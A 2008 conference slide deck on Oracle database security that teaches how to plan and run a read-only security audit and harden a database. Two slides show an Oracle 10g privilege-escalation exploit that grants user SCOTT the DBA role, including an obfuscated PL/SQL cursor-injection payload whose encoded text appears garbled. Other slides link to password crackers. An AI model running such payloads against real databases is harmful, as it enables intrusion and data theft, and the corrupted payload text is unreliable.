

White-Hats 2008, London, September 26<sup>th</sup> 2008

# Oracle Security Masterclass

By  
Pete Finnigan

Written Friday, 25th September 2008

## Why Am I Qualified To Speak

- PeteFinnigan.com Limited
- Founded February 2003
- CEO Pete Finnigan
- Clients UK, States, Europe
- Specialists in researching and securing Oracle databases providing consultancy and training
- <http://www.petefinnigan.com>
- Author of Oracle security step-by-step
- Published many papers, regular speaker (UK, USA, Slovenia, Norway, Iceland and more)
- Member of the Oak Table Network



## Agenda

- Part 1 - Overview of oracle security
  - How and why do hackers steal data
  - What are the issues
  - How are databases compromised
- Part 2 - Main body of the master class
  - Conducting a security audit of a database
  - What to look for
  - Examples
  - How to look
  - What tools
- Part 3 - Conclusions
  - What to do when you have a list of problems to fix
  - Deciding what to fix, how to fix, can you fix
  - Basic hardening - i.e. these are the things you should really fix

## Overview

- What do I want to achieve today
- Its high level, an audit can take days so we cannot cover it all in around in the short time we have
- Anyone can perform an audit but be realistic at what level
- I want to teach basic ideas
- **Ask questions any time you would like to**
- Try out some of the tools and techniques yourself later on

## What Is Oracle Security?

- **It is about creating a secure database and storing critical / valuable data securely**
- To do this Oracle security is about all of these:
  - Performing a security audit of an Oracle database?
  - Securely configuring an Oracle database?
  - Designing a secure Oracle system before implementation?
  - Using some of the key security features
    - Audit, encryption, RBAC, FGA, VPD...

## Internal Or External Attacks

- Internal attacks are shown to exceed external attacks in many recent surveys, Deloitte surveys the top 100 finance institutes
- The reality is likely to be worse as surveys do not capture all details or all companies
- Data is often the target now not system access; this could be for identity theft to clone identities
- With Oracle databases external attacks are harder and are likely to involve
  - application injection or
  - Buffer Overflow or
  - Protocol attacks
- Internal attacks could use any method for exploitation. The issues are why:
  - True hackers gain access logically or physically
  - Power users have too many privileges
  - Development staff, DBA's
  - **Internal staff have access already!!**

## How Easy Is It To Attack?

- Many and varied attack vectors
- Passwords are the simplest – find, guess, crack
- Bugs that can be exploited
- SQL injection
- Denial of Service
- Exploit poor configuration – access OS files, services
- Network protocol attacks
- Buffer overflows, SQL buffer overflows
- Cursor injection
- More ?

Most sites are here not below (well below as well but that doesn't matter if they are at the top of the list)

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## Example Exploit

```

Oracle SQL*Plus
File Edit Search Options Help
SQL> @10g_exploit
http://www.milw0rm.com/exploits/4572
USER is "SCOTT"
SQL> @10g_exploit

-----
USERNAME      GRANTED_ROLE      ADM DEF OS_
-----
SCOTT          APP_ROLE           NO YES NO
SCOTT          CONNECT            NO YES NO
SCOTT          RESOURCE           NO YES NO

PL/SQL procedure successfully completed.

-----
USERNAME      GRANTED_ROLE      ADM DEF OS_
-----
SCOTT          APP_ROLE           NO YES NO
SCOTT          CONNECT            NO YES NO
SCOTT          DBA                 NO YES NO
SCOTT          RESOURCE           NO YES NO

SQL> |
  
```

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## Example Exploit (2)

```

Oracle SQL*Plus
File Edit Search Options Help
SQL> @10g_exploit
select * from user_role_privs;

DECLARE
c3gya2Vy NUMBER;
BEGIN
c3gya2Vy := DEMO_SQL_OPEN_CURSOR;
DEMO_SQL_PARSE(c3gya2Vy, utl_encode.text_decode(
'20V]GcFY2S8wcaFn6q6V0V4b6v6M91c180caBucP]d61vb]agYwVna4gZ0h1Y3V0Z2Bpw11Z01bd0gJed5Q5U1ERCpBY
5T0]90V
cc7V24hM100V40d=-', 'WEB100819F1', 'UTL_ENCODE.BASE64'), 0);
SYS.LT.FINDB10SET('GV42WqMSB]b19ZXR1IDop-V2V1L00bGFOZXB''||dmas_eql_execute'||c3gya2Vy||')
'||'.DEADBEAF');
END;

select * from user_role_privs;

Be aware of the payloads
Infinite possibilities mean the source
must be blocked
Remember the target is not to get
the DBA role!!!

SQL> |
  
```

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## Realistic Hacking Of Databases

- The target is data not the DBA role
- The exploits we have just seen work but stealing data is much more "real"
- Its easy
- It doesn't involve complex techniques
- What do you think happens?

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## Demonstration

- Hacking an Oracle database to "steal"
- 15 minutes or so

Demo

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## What Are The Problems Here?

- Access is available to the database
- Credentials are guessable
- Default accounts have access to critical data
- Critical data is easy to find
- Poor, weak encryption and protection used
- This is reality, this is what Oracle database security REALLY looks like!!

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## Stay Ahead Of The Hackers

- When deciding what to audit and how to audit a database you must know what to look for:
  - Existing configuration issues and security vulnerabilities are a target
  - Remember hackers don't follow rules
  - Combination attacks (multi-stage / blended) are common
- The solution: Try and think like a hacker – be suspicious

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## The Basic Tenets Of Oracle Security

- Reduce the version / installed product to that necessary
- Reduce the users / schemas
- Reduce and design privileges to least privilege principal
- Lock down direct access
- Lock down basic configurations
- Audit
- Clean up

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## The Access Issue

- A database can only be accessed if you have three pieces of information 11gR1 has broken this!!
  - The IP Address or hostname
  - The Service name / SID of the database
  - A valid username / password
- Lots of sites I see:
  - Deploy tnsnames to all servers and desktops
  - Allow access to servers (no IP blocking)
  - Create guessable SID/Service name
  - Don't change default passwords or set weak ones
  - No form of IP blocking and filtering
- Do not do any of these!

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## Part 2 – Conducting A Database Audit

- Planning and setting up for An Audit
- Selecting a target
- Interview key staff
- Versions, patches and software
- Enumerate users and find passwords
- File system analysis
- Network analysis
- Database configuration

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## Planning An Audit

- Create a simple plan, include
  - The environments to test
  - The tools to use
  - Decide what to test and how "deep"
  - The results to expect
  - Looking forward
  - What are you going to do with the results?
- Don't create "war and peace" but provide due diligence, repeatability

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## The Environment To Be Audited

- This is a key decision
- Which environment should be tested?
- A live production system **MUST** be chosen
- Some elements can be tested in other systems
  - i.e. a complete clone (standby / DR) can be used to assess configuration
  - The file system and networking and key elements such as passwords / users must be tested in production
- Choose carefully

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## Building A Toolkit

- There are a few standalone tools available
- I would start with manual queries and simple scripts such as:
  - [www.petefinnigan.com/find\\_all\\_privs.sql](http://www.petefinnigan.com/find_all_privs.sql)
  - [www.petefinnigan.com/who\\_has\\_priv.sql](http://www.petefinnigan.com/who_has_priv.sql)
  - [www.petefinnigan.com/who\\_can\\_access.sql](http://www.petefinnigan.com/who_can_access.sql)
  - [www.petefinnigan.com/who\\_has\\_role.sql](http://www.petefinnigan.com/who_has_role.sql)
  - [www.petefinnigan.com/check\\_parameter.sql](http://www.petefinnigan.com/check_parameter.sql)
- Hand code simple queries as well

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## Checklists – Basis For The Audit

- There are a number of good checklists to define what to check:
- CIS Benchmark - [http://www.cisecurity.org/bench\\_oracle.html](http://www.cisecurity.org/bench_oracle.html)
- SANS S.C.O.R.E - <http://www.sans.org/score/oraclechecklist.php>
- Oracle's own checklist - [http://www.oracle.com/technology/Deploy/security/pdf/twp\\_security\\_checklist\\_db\\_database\\_20071108.pdf](http://www.oracle.com/technology/Deploy/security/pdf/twp_security_checklist_db_database_20071108.pdf)
- DoD STIG - <http://iase.disa.mil/stiqs/stiq/database-stiq-v8r1.zip>
- Oracle Database security, audit and control features – ISBN 1-893209-58-X

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## Keep It Neutral

- All actions must be read only
- Don't stop / start the database
- Don't affect the business
- Read only must also not be heavy queries
- Hands-on and not automated is better
- Remember some things cannot be automated well
- Automated tools have issues

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## Decide The Scope Of The Test

- What is to be tested (what checks to use)?
- The checklists provide extensive lists of checks
- My advice: keep it simple to start with
  - Concentrate on the "LOW FRUIT"
  - Key issues
    - Passwords
    - Simple configuration issues
    - RBAC issues

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## Results?

- Before you start you should assess what you expect as results
- This drives two things:
  - The scale of the test
  - What you can do with the results
- It should help derive
  - What to test for
  - What to expect
- If you decide in advance its easier to cope with the output (example: if you do a test in isolation and find 200 issues, its highly unlikely anyone will deal with them)

An interesting concept!

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## Interview Key Staff

- Perform interviews with key staff
  - DBA
  - Security
  - Applications
- Understand
  - Policies
  - Backups
  - How different groups of staff use and access the database
- The checklists include interview questions
- Prepare an interview list to work to (see the CIS benchmark for examples -

Line up the key people in advance


Don't base only on internal policies

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## Software Installed




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## Database Version



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## Patch Status


- DBA\_REGISTRY\_HISTORY (should work now since Jan 2006 CPU)
- Opatch -l inventory
- Checksum packages, functions, procedures, libraries, views
  - Rorascanner has example code
  - Some Commercial tools do this
  - Problems – if PL/SQL is not updated in CPU
  - Time based approaches with last\_ddl\_time
- Ask the DBA we are not trying to break in

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## User Enumeration



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## Auditing Passwords


- Three types of checks (ok 4)
  - Password=username
  - Password=default password
  - Password=dictionary word
  - Password is too short
- Default check tools or password cracker?
- Password cracker
  - [http://www.petefinnigan.com/oracle\\_password\\_cracker.htm](http://www.petefinnigan.com/oracle_password_cracker.htm)
  - [http://soonerorlater.hu/index.khtml?article\\_id=513](http://soonerorlater.hu/index.khtml?article_id=513)
  - <http://www.red-database-security.com/software/checkpwd.html>
  - <http://www.toolcrypt.org/tools/orabf/orabf-v0.7.6.zip>

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## Password Cracker



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## Key System Privileges

```

Oracle SQL*Plus
File Edit Search Options Help
SQL> show parameter aud
NAME                                TYPE          VALUE
-----                                -
audit_file_dest                      string        C:\ORACLE\ADMIN\ORA10GR2\AUDUMP
audit_sys_operations                  boolean      FALSE
audit_trail                           string        NONE
SQL> select count(*) from sys.aud$;
COUNT(*)
-----
0
1 row selected.
SQL> select count(*) from sys.fga_log$;
COUNT(*)
-----
0
1 row selected.
SQL> ]
  
```

Note the problem of multiple-inheritance of privileges

Demo

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## Audit Checks

```

Oracle SQL*Plus
File Edit Search Options Help
SQL> show parameter aud
NAME                                TYPE          VALUE
-----                                -
audit_file_dest                      string        C:\ORACLE\ADMIN\ORA10GR2\AUDUMP
audit_sys_operations                  boolean      FALSE
audit_trail                           string        NONE
SQL> select count(*) from sys.aud$;
COUNT(*)
-----
0
1 row selected.
SQL> select count(*) from sys.fga_log$;
COUNT(*)
-----
0
1 row selected.
SQL> ]
  
```

Unfortunately this view is common!

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## Stage 3 - What To Do Next?

- Write up the audit formally
- Prioritise the findings – Severity 1 – 3?
- Use internal procedures as a guide
- Other platforms can help (e.g. use your OS experience if you have it)
- Assess risk
- This is the hardest part of the audit process

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## Next Step - Create A Policy

- Perform an Oracle database audit
- Define what the key/critical issues are
- Determine / decide what to fix
- Include best practice
- Work on a top 20 basis and cycle (This is effective for new hardening)
- Create a baseline standard
  - A document
  - Scripts – maybe for BMC
  - Commercial tool such as AppDetective

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## Automate Scanning Tools

- Commercial
  - AppDetective - <http://www.appsecinc.com/products/appdetective/>
  - NGS Squirrel - <http://www.ngssoftware.com/products/database-security/ngs-squirrel-oracle.php>
  - AuditPro - <http://www.niconconsulting.com/products/auditpro.html>
  - IPLocks - [http://www.iplocks.com/products/vulnerability\\_assessment.html](http://www.iplocks.com/products/vulnerability_assessment.html)
- Free
  - CIS benchmark - [http://www.cisecurity.org/bench\\_oracle.html](http://www.cisecurity.org/bench_oracle.html)
  - Scuba from Imperva - <http://www.imperva.com/scuba/>
  - RoraScanner - <http://rorascanner.rubyforge.org/>
  - OScanner - [http://www.cqure.net/wp/?page\\_id=3](http://www.cqure.net/wp/?page_id=3)
  - Inguma - <http://sourceforge.net/projects/inguma>


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## Sample Audit Checks Using SCUBA

[http://www.imperva.com/application\\_defense\\_center/scuba/](http://www.imperva.com/application_defense_center/scuba/)



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## CIS Benchmark

The screenshot shows the 'The Center for Internet Security - Scoring Tool' interface. It displays the following information:

- Scoring Section:**
  - SID: ora92
  - Oracle User: SYSTEM
  - Password: \*\*\*\*\*
  - Owner Username: Administrator
  - DBA Group: ORA\_DBA
  - Options:
    - OAS SSL
    - OAS Native Security
- Level 1 Results:**
  - Host Files: 3.97
  - Database Access: 4.91
  - Policy and Procedure: 0.81
  - Total: 3.20**
- Level 2 Results:**
  - Host Files: 2.14
  - Database Access: 1.00
  - Policy and Procedure: 2.56
  - Total: 1.91**
- Appendix A Additional Settings: 0.00**

At the bottom, it shows '100% complete (269/269)' and a progress bar. The footer contains the date '29/09/2008', copyright information 'Copyright (c) 2008 PeteFinnigan.com Limited', and the slide number '55'.

## Conclusions

- We didn't mention CPU's – Apply them – they are only part of the problem
- Think like a hacker
- Get the basics right first –
  - Reduce the version / installed product to that necessary
  - Reduce the users / schemas
  - Reduce and design privileges to least privilege principal
  - Lock down basic configurations
  - Audit
  - Clean up
- Use a top 10 approach in fixing, it works!

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## Any Questions?

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